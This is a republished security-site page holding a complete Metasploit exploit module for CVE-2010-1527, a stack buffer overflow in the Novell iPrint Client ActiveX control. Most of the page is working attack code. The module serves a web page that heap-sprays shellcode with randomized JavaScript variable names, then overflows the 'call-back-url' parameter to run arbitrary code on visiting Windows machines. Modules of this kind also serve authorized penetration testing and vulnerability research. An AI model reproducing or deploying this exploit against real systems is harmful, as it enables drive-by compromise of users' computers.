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Novell iPrint Client ActiveX Control call-back-url Buffer Overflow

Novell iPrint Client ActiveX Control call-back-url Buffer Overflow
Posted Sep 21, 2010
Authored by Trancer | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in Novell iPrint Client 5.42. When sending an overly long string to the 'call-back-url' parameter in an op-client-interface-version action of ienipp.ocx an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
advisories | CVE-2010-1527
MD5 | 80269d9e5705e85962cc7e26d8957a01

Novell iPrint Client ActiveX Control call-back-url Buffer Overflow

Change Mirror Download
##
# novelliprint_callbackurl.rb
#
# Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
# - Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3
# - Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2
#
# ienipp.ocx version tested:
# File Version: 5.4.0.0 and 5.4.2.0
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
# - CVE-2010-1527
# - OSVDB 67411
# - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research
# - http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit
# - http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis
# - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.
When sending an overly long string to the 'call-back-url' parameter in an
op-client-interface-version action of ienipp.ocx an attacker may be able to
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Trancer <mtrancer[at]gmail.com' ],
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2010-1527' ],
[ 'OSVDB', '67411'],
[ 'URL', 'http://secunia.com/secunia_research/2010-104/' ], # Carsten Eiram, Secunia Research
[ 'URL', 'http://www.exploit-db.com/exploits/15042/' ], # MOAUB #19
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'Aug 20 2010',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = [target.ret].pack('V')
ret = ret * 250
blocksize = 0x40000
fillto = 500
offset = target['Offset']

# ActiveX parameters
clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C"

# Randomize the javascript variable names
ienipp = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_ret = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)

html = %Q|<html>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{j_nops} = unescape('#{nops}');
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}
</script>
<object classid='clsid:#{clsid}' id='#{ienipp}'>
<param name='operation' value='op-client-interface-version' />
<param name='result-type' value='url' />
<param name='call-back-url' value='#{ret}' />
</object>
</html>|

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })

# Handle the payload
handler(cli)
end

end

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